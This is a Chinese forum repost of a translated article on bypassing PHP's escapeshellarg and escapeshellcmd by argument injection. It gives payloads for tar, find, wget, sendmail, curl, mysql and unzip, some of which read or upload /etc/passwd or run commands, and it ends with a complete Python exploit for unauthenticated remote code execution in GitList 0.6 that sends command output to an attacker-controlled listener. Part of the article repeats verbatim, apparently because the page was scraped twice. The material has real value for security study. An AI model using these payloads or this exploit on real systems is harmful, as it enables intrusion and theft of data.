利用/绕过 PHP escapeshellarg/escapeshellcmd函数

[ 复制链接 ]

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有帐号?立即注册

x

                译文声明
       
       
                本文是翻译文章,文章原作者,文章来源:https://security.szurek.pl/
原文地址:https://security.szurek.pl/exploit-bypass-php-escapeshellarg-escapeshellcmd.html
       
       
       
                译文仅供参考,具体内容表达以及含义原文为准
       


       
               

利用/绕过 PHP escapeshellarg/escapeshellcmd函数

利用/绕过 PHP escapeshellarg/escapeshellcmd函数


       
       
                escapeshellarg和escapeshellcmd的功能
       
       
                escapeshellarg
       
1.确保用户只传递一个参数给命令
2.用户不能指定更多的参数一个
3.用户不能执行不同的命令
       
                escapeshellcmd
       
1.确保用户只执行一个命令
2.用户可以指定不限数量的参数
3.用户不能执行不同的命令
       
                让我们用groups去打印组里每个username成员
       
$username = 'myuser';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
       
                但是攻击者可以在username里使用;或者||
在Linux里,这意味着第二个命令可以在第一个之后被执行
       
$username = 'myuser;id';
system('groups '.$username);
=>
myuser : myuser adm cdrom sudo dip plugdev lpadmin sambashare
uid=33(www-data) gid=33(www-data) groups=33(www-data)
       
                为了防止这一点,我们使用escapeshellcmd
现在攻击者不能允许第2个命令了
       
$username = 'myuser;id'; // escapeshellcmd adds  before ;
system(escapeshellcmd('groups '.$username));
=>
(nothing)
       
                为什么会这样?因为php内部运行了这样的命令
       
$ groups myuser;id groups: „myuser;id”: no such user
       
                myuser;id被当成了一个字符串
但是在这种方法中,攻击者可以指定更多参数groups
例如,他一次检测多个用户
       
$username = 'myuser1 myuser2';
system('groups '.$username);
=>
myuser1 : myuser1 adm cdrom sudo
myuser2 : myuser2 adm cdrom sudo
       
                假设我们希望允许每个脚本执行仅检查一个用户:
       
$username = 'myuser1 myuser2';
system('groups '.escapeshellarg($username));
=>
(noting)
       
                为什么会这样?因为现在$username被视为单个参数:
       
$ groups 'myuser1 myuser2' groups: "myuser1 myuser2": no such user
       
               
       
       
                已知的绕过/利用
       
       
                当你想利用这些功能时,你有两个选择:
       
如果PHP版本非常老,你可以尝试一个历史漏洞,
否则你需要尝试参数注入技术。
       
               
       
       
                参数注入
       
       
                从上一章可以看到,使用escapeshellcmd / escapeshellarg时不可能执行第二个命令。
但是我们仍然可以将参数传递给第一个命令。
这意味着我们也可以将新选项传递给命令。
利用漏洞的能力取决于目标可执行文件。
您可以在下面找到一些已知可执行文件的列表,其中包含一些可能被滥用的特定选项。
      
       
                TAR
       
       
                压缩some_file到/tmp/sth
       
$command = '-cf /tmp/sth /some_file'; system(escapeshellcmd('tar '.$command));
       
                创建一个空文件/tmp/exploit
       
$command = "--use-compress-program='touch /tmp/exploit' -cf /tmp/passwd /etc/passwd"; system(escapeshellcmd('tar '.$command));
       
                FIND
       
       
                在/tmp目录查找文件some_file
       
$file = "some_file"; system("find /tmp -iname ".escapeshellcmd($file));
       
                打印/etc/passwd内容
       
$file = "sth -or -exec cat /etc/passwd ; -quit"; system("find /tmp -iname ".escapeshellcmd($file));
       
                Escapeshellcmd和escapeshellarg
       
       
                在这个配置中,我们可以传递第二个参数给函数。
列出/tmp目录并忽略sth文件
       
$arg = "sth"; system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
       
                在/tmp目录中列出文件并忽略sth。使用长列表格式。
       
$arg = "sth' -l "; // ls --ignore='exploit'\'' -l ' /tmp system(escapeshellcmd("ls --ignore=".escapeshellarg($arg).' /tmp'));
       
                例如:WGET,下载example.php
       
$url = 'http://example.com/example.php'; system(escapeshellcmd('wget '.$url));
       
                保存.php文件到指定目录
       
$url = '--directory-prefix=/var/www/html http://example.com/example.php'; system(escapeshellcmd('wget '.$url));
       
                用.bat执行命令
       
       
                打印somedir中的文件列表
       
$dir = "somedir";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir)); system('out.bat');
       
                并且执行whoami命令
       
$dir = "somedir x1a whoami";
file_put_contents('out.bat', escapeshellcmd('dir '.$dir)); system('out.bat');
       
                SENDMAIL
       
       
                发送mail.txt到from@sth.com
       
$from = 'from@sth.com'; system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' );
       
                打印/etc/passwd内容
       
$from = 'from@sth.com -C/etc/passwd -X/tmp/output.txt'; system("/usr/sbin/sendmail -t -i -f".escapeshellcmd($from ).' );
       
                CURL
       
       
                下载http://example.com内容
       
$url = 'http://example.com'; system(escapeshellcmd('curl '.$url));
       
                发送/etc/passwd内容到http://example.com
       
$url = '-F password=@/etc/passwd http://example.com'; system(escapeshellcmd('curl '.$url));
       
                你可以得到文件内容,使用如下payload:
       
file_put_contents('passwords.txt', file_get_contents($_FILES['password']['tmp_name']));
       
                MYSQL
       
       
                执行sql语句
       
$sql = 'SELECT sth FROM table'; system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
       
                运行id命令
       
$sql = '! id'; system("mysql -uuser -ppassword -e ".escapeshellarg($sql));
       
                UNZIP
       
       
                从archive.zip解压所有*.tmp文件到/tmp目录
       
$zip_name = 'archive.zip'; system(escapeshellcmd('unzip -j '.$zip_name.' *.txt -d /aa/1'));
       
                从archive.zip解压所有*.tmp文件到/var/www/html目录
       
$zip_name = '-d /var/www/html archive.zip'; system('unzip -j '.escapeshellarg($zip_name).' *.tmp -d /tmp');
       
                如果未设置LANG环境变量,则去除非ASCII字符
       
$filename = 'rsum.pdf'; // string(10) "'rsum.pdf'" var_dump(escapeshellarg($filename));
setlocale(LC_CTYPE, 'en_US.utf8'); //string(14) "'rsum.pdf'" var_dump(escapeshellarg($filename));
       
               
       
       
                经典EXP
       
       
                PHP
$find = 'word';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
       
                同时运行dir命令.
       
$find = 'word " c:\where\ || dir || ';
system('FIND /C /I '.escapeshellarg($find).' c:\where\');
       
                PHP 4
       
                Shell需要使用GBK,EUC-KR,SJIS等可变宽度字符集的语言环境。
       
$text = "sth"; system(escapeshellcmd("echo ".$text));
$text = "sth xc0; id"; system(escapeshellcmd("echo ".$text));
       
                或者
       
$text1 = 'word';
$text2 = 'word2'; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
$text1 = "word xc0";
$text2 = "; id ; #"; system('echo '.escapeshellarg($text1).' '.escapeshellarg($text2));
       
                php
       
                额外传递的第三个参数(—param3)。
       
$a = 'param1_value';
$b = 'param2_value'; system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
$a = 'a\'; $b = 'b -c --param3\';
system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
       
                php 7.x before 7.0.2 – cve-2016-1904
       
       
                如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。
       
       
                php 5.4.x
       
                启用enabledelayedexpansion后,展开一些环境变量。
       
       
                然后!sth!运行类似于%sth%
       
       
                escapeshellarg不会过滤!字符
enabledelayedexpansion以在hklm或hkcu下的注册表中设置:
       
[hkey_current_usersoftwaremicrosoftcommand processor] "delayedexpansion"= (reg_dword) 1=enabled 0=disabled (default)
       
                例如:
       
// leak appdata dir value $text = '!appdata!'; print "echo ".escapeshellarg($text);
       
                php
       
                功能定义于ext/standard/exec.c,运行类似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略php字符串的长度,并用null终止工作代替。
       
echo escapeshellarg("helloworld");
=>
hello
       
               
       
       
                gitlist rce漏洞利用
       
       
                文件src/git/repository.php
       
public function searchtree($query, $branch) { if (empty($query)) { return null;
    }
    $query = escapeshellarg($query); try {
        $results = $this->getclient()->run($this, "grep -i --line-number {$query} $branch");
    } catch (runtimeexception $e) { return false;
    }
}
       
                简化后
       
$query = 'sth'; system('git grep -i --line-number '.escapeshellarg($query).' *');
       
                当我们查看git grep文档时
       
--open-files-in-pager[=]
open the matching files in the pager (not the output of grep). if the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
       
                所以基本上--open-files-in-pager就像是在-exec中执行find.
       
$query = '--open-files-in-pager=id;'; system('git grep -i --line-number '.escapeshellarg($query).' *');
       
                当我们输入这些进控制台
       
$ git grep -i --line-number '--open-files-in-pager=id;' *
uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) id;: 1: id;: readme.md: not found
       
                最后的exp:
       
import requests from basehttpserver import basehttprequesthandler, httpserver import urlparse import urllib import threading import time import os import re
url = 'http://192.168.1.1/gitlist/' command = 'id' your_ip = '192.168.1.100' your_port = 8001 print "gitlist 0.6 unauthenticated rce" print "by kacper szurek" print "https://security.szurek.pl/" print "remember to disable firewall" search_url = none r = requests.get(url)
repos = re.findall(r'/([^/]+)/master/rss', r.text) if len(repos) == 0: print "[-] no repos" os._exit(0) for repo in repos: print "[+] found repo {}".format(repo)
    r = requests.get("{}{}".format(url, repo))
    files = re.findall(r'href="[^" rel="external nofollow" ]+blob/master/([^"]+)"', r.text) for file in files:
        r = requests.get("{}{}/raw/master/{}".format(url, repo, file)) print "[+] found file {}".format(file) print r.text[0:100]
        search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1]) break if not search_url: print "[-] no files in repo" os._exit(0) print "[+] search using {}".format(search_url) class gethandler(basehttprequesthandler): def do_get(self): parsed_path = urlparse.urlparse(self.path) print "[+] command response" print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
        self.send_response(200)
        self.end_headers()
        self.wfile.write("ok")
        os._exit(0) def log_message(self, format, *args): return def exploit_server(): server = httpserver((your_ip, your_port), gethandler)
    server.serve_forever() print "[+] start server on {}:{}".format(your_ip, your_port)
t = threading.thread(target=exploit_server)
t.daemon = true t.start() print "[+] server started" r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)}) while true:
    time.sleep(1)

       

        本文翻译自 https://security.szurek.pl/,原文链接。译者:一叶飘零

       

                               
               
                                       
                               
                        大脸猫讲逆向之 ios上pdfexpert阅读器的内购功能破解
长尾词挖掘扩展工具
               
               
               
                       
       




  • 相关文章


  • 存储型xss的攻防:不想做开发的黑客不是好黑客


  • ctf提高篇1-4周 新手入门教程


  • 新手python黑客工具入门(续)


  • 总结回望丨2018年十大web黑客技术榜单


  • 渗透神器burpsuite汉化教程


  • windows内核漏洞利用提权教程


  • 俄罗斯的黑客论坛有哪些推荐?


  • 网络安全入门教程


  • termux高级终端安装使用配置教程


  • 黑客是如何监视你的手机的?


  • 没有android基础都能学会的xposed基础教程


  • nessus插件“武器化”教程


  • cobalt strike神器高级教程利用aggressor脚本编写目标上线邮件提醒


  • 如何搭建一个假的星巴克热点并劫持用户电脑进行挖矿(内附完整代码和教程)


  • xise菜刀寄生虫箱子去除后门以及加后门教程


  • 快速自检电脑是否被黑客入侵过(linux版)


  • 快速自检电脑是否被黑客入侵过(windows版)


  • 快讯 | windows 10 系统预装密码管理器,可能被黑客利用获取用户密码


  • 如何像黑客军团主角那样将文件隐藏在音频中


  • 反击黑客之对网站攻击者的ip追踪


  • 【技术分享】黑客如何破解atm,2分钟顺走百万现金 (下)


  • 【技术分享】黑客如何破解atm,2分钟顺走百万现金 (上)


  • 白帽黑客:如何用总裁的座机给你打的电话!


  • 黑客可以远程访问医用注射泵,给你提供致命剂量


  • 【技术分享】深入分析:黑客如何利用facebook messenger跨平台攻击活动


  • 黑客破解工具hydra在线爆破密码


  • 信息收集工具recon-ng详细使用教程


  • burp suite扫描器漏洞扫描功能介绍及简单教程



    

           
                    免责声明:               
                    本站所发布的任何内容,全部来源于互联网,版权争议与本站无关。仅供技术交流,文献参考,如有侵权或不合适,请联系本人进行删除。不允许将内容私自传播、销售或者其他任何非法用途!如有其它不良行为,请联系本站邮件:864524951@qq.com,或qq:864524951,本站会积极进行沟通,并同时会配合公安等有关部门做好相关调查取证工作!
    copyright powered by  52bug 技术支持.
           
           
                   
           



    关闭搜索
    吾爱漏洞


           全部内容
           渗透测试逆向破解黑帽seoqq技术办公软件编程入门电子书下载在线电影seo优化seo工具渗透系列逆向系列编程系列办公系列黑客技术黑客工具      


    黑客

    name="">php
           
                    额外传递的第三个参数(—param3)。
           
    $a = 'param1_value';
    $b = 'param2_value'; system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
    $a = 'a\'; $b = 'b -c --param3\';
    system('my_command --param1 ' . escapeshellarg($a) . ' --param2 ' . escapeshellarg($b));
           
                    php 7.x before 7.0.2 – cve-2016-1904
           
           
                    如果将1024mb字符串传递给escapeshellarg,则导致缓冲区溢出escapeshellcmd。
           
           
                    php 5.4.x
           
                    启用enabledelayedexpansion后,展开一些环境变量。
           
           
                    然后!sth!运行类似于%sth%
           
           
                    escapeshellarg不会过滤!字符
    enabledelayedexpansion以在hklm或hkcu下的注册表中设置:
           
    [hkey_current_usersoftwaremicrosoftcommand processor] "delayedexpansion"= (reg_dword) 1=enabled 0=disabled (default)
           
                    例如:
           
    // leak appdata dir value $text = '!appdata!'; print "echo ".escapeshellarg($text);
           
                    php
           
                    功能定义于ext/standard/exec.c,运行类似于(escapeshellcmd,eschapeshellarg,shell_exec),忽略php字符串的长度,并用null终止工作代替。
           
    echo escapeshellarg("helloworld");
    =>
    hello
           
                   
           
           
                    gitlist rce漏洞利用
           
           
                    文件src/git/repository.php
           
    public function searchtree($query, $branch) { if (empty($query)) { return null;
        }
        $query = escapeshellarg($query); try {
            $results = $this->getclient()->run($this, "grep -i --line-number {$query} $branch");
        } catch (runtimeexception $e) { return false;
        }
    }
           
                    简化后
           
    $query = 'sth'; system('git grep -i --line-number '.escapeshellarg($query).' *');
           
                    当我们查看git grep文档时
           
    --open-files-in-pager[=]
    open the matching files in the pager (not the output of grep). if the pager happens to be "less" or "vi", and the user specified only one pattern, the first file is positioned at the first match automatically.
           
                    所以基本上--open-files-in-pager就像是在-exec中执行find.
           
    $query = '--open-files-in-pager=id;'; system('git grep -i --line-number '.escapeshellarg($query).' *');
           
                    当我们输入这些进控制台
           
    $ git grep -i --line-number '--open-files-in-pager=id;' *
    uid=1000(user) gid=1000(user) grupy=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev) id;: 1: id;: readme.md: not found
           
                    最后的exp:
           
    import requests from basehttpserver import basehttprequesthandler, httpserver import urlparse import urllib import threading import time import os import re
    url = 'http://192.168.1.1/gitlist/' command = 'id' your_ip = '192.168.1.100' your_port = 8001 print "gitlist 0.6 unauthenticated rce" print "by kacper szurek" print "https://security.szurek.pl/" print "remember to disable firewall" search_url = none r = requests.get(url)
    repos = re.findall(r'/([^/]+)/master/rss', r.text) if len(repos) == 0: print "[-] no repos" os._exit(0) for repo in repos: print "[+] found repo {}".format(repo)
        r = requests.get("{}{}".format(url, repo))
        files = re.findall(r'href="[^" rel="external nofollow" ]+blob/master/([^"]+)"', r.text) for file in files:
            r = requests.get("{}{}/raw/master/{}".format(url, repo, file)) print "[+] found file {}".format(file) print r.text[0:100]
            search_url = "{}{}/tree/{}/search".format(url, repo, r.text[0:1]) break if not search_url: print "[-] no files in repo" os._exit(0) print "[+] search using {}".format(search_url) class gethandler(basehttprequesthandler): def do_get(self): parsed_path = urlparse.urlparse(self.path) print "[+] command response" print urllib.unquote_plus(parsed_path.query).decode('utf8')[2:]
            self.send_response(200)
            self.end_headers()
            self.wfile.write("ok")
            os._exit(0) def log_message(self, format, *args): return def exploit_server(): server = httpserver((your_ip, your_port), gethandler)
        server.serve_forever() print "[+] start server on {}:{}".format(your_ip, your_port)
    t = threading.thread(target=exploit_server)
    t.daemon = true t.start() print "[+] server started" r  = requests.post(search_url, data={'query':'--open-files-in-pager=php -r "file_get_contents(\"http://{}:{}/?a=\".urlencode(shell_exec(\"{}\")));"'.format(your_ip, your_port, command)}) while true:
        time.sleep(1)

           

            本文翻译自 https://security.szurek.pl/,原文链接。译者:一叶飘零

           

                                   
                   
                                           
                                   
                            大脸猫讲逆向之 ios上pdfexpert阅读器的内购功能破解
    长尾词挖掘扩展工具
                   
                   
                   
                           
           




  • 相关文章


  • 存储型xss的攻防:不想做开发的黑客不是好黑客


  • ctf提高篇1-4周 新手入门教程


  • 新手python黑客工具入门(续)


  • 总结回望丨2018年十大web黑客技术榜单


  • 渗透神器burpsuite汉化教程


  • windows内核漏洞利用提权教程


  • 俄罗斯的黑客论坛有哪些推荐?


  • 网络安全入门教程


  • termux高级终端安装使用配置教程


  • 黑客是如何监视你的手机的?


  • 没有android基础都能学会的xposed基础教程


  • nessus插件“武器化”教程


  • cobalt strike神器高级教程利用aggressor脚本编写目标上线邮件提醒


  • 如何搭建一个假的星巴克热点并劫持用户电脑进行挖矿(内附完整代码和教程)


  • xise菜刀寄生虫箱子去除后门以及加后门教程


  • 快速自检电脑是否被黑客入侵过(linux版)


  • 快速自检电脑是否被黑客入侵过(windows版)


  • 快讯 | windows 10 系统预装密码管理器,可能被黑客利用获取用户密码


  • 如何像黑客军团主角那样将文件隐藏在音频中


  • 反击黑客之对网站攻击者的ip追踪


  • 【技术分享】黑客如何破解atm,2分钟顺走百万现金 (下)


  • 【技术分享】黑客如何破解atm,2分钟顺走百万现金 (上)


  • 白帽黑客:如何用总裁的座机给你打的电话!


  • 黑客可以远程访问医用注射泵,给你提供致命剂量


  • 【技术分享】深入分析:黑客如何利用facebook messenger跨平台攻击活动


  • 黑客破解工具hydra在线爆破密码


  • 信息收集工具recon-ng详细使用教程


  • burp suite扫描器漏洞扫描功能介绍及简单教程



    

           
                    免责声明:               
                    本站所发布的任何内容,全部来源于互联网,版权争议与本站无关。仅供技术交流,文献参考,如有侵权或不合适,请联系本人进行删除。不允许将内容私自传播、销售或者其他任何非法用途!如有其它不良行为,请联系本站邮件:864524951@qq.com,或qq:864524951,本站会积极进行沟通,并同时会配合公安等有关部门做好相关调查取证工作!
    copyright powered by  52bug 技术支持.
           
           
                   
           



    关闭搜索
    吾爱漏洞


           全部内容
           渗透测试逆向破解黑帽seoqq技术办公软件编程入门电子书下载在线电影seo优化seo工具渗透系列逆向系列编程系列办公系列黑客技术黑客工具      


    黑客

    >
  • 温馨提示:
    1、在论坛里发表的文章仅代表作者本人的观点,与本网站立场无关。
    2、论坛的所有内容都不保证其准确性,有效性,时间性。阅读本站内容因误导等因素而造成的损失本站不承担连带责任。
    3、当政府机关依照法定程序要求披露信息时,论坛均得免责。
    4、若因线路及非本站所能控制范围的故障导致暂停服务期间造成的一切不便与损失,论坛不负任何责任。
    5、注册会员通过任何手段和方法针对论坛进行破坏,我们有权对其行为作出处理。并保留进一步追究其责任的权利。
    回复 推荐到N格

    使用道具 举报

    大神点评(1)

    您需要登录后才可以回帖 登录 | 立即注册
      云凌阁
      啥也不说了,感谢云凌阁分享哇!
      回复 支持 反对

      使用道具 举报

      相关推荐
      云凌阁

      关注0

      粉丝0

      帖子32

      发布主题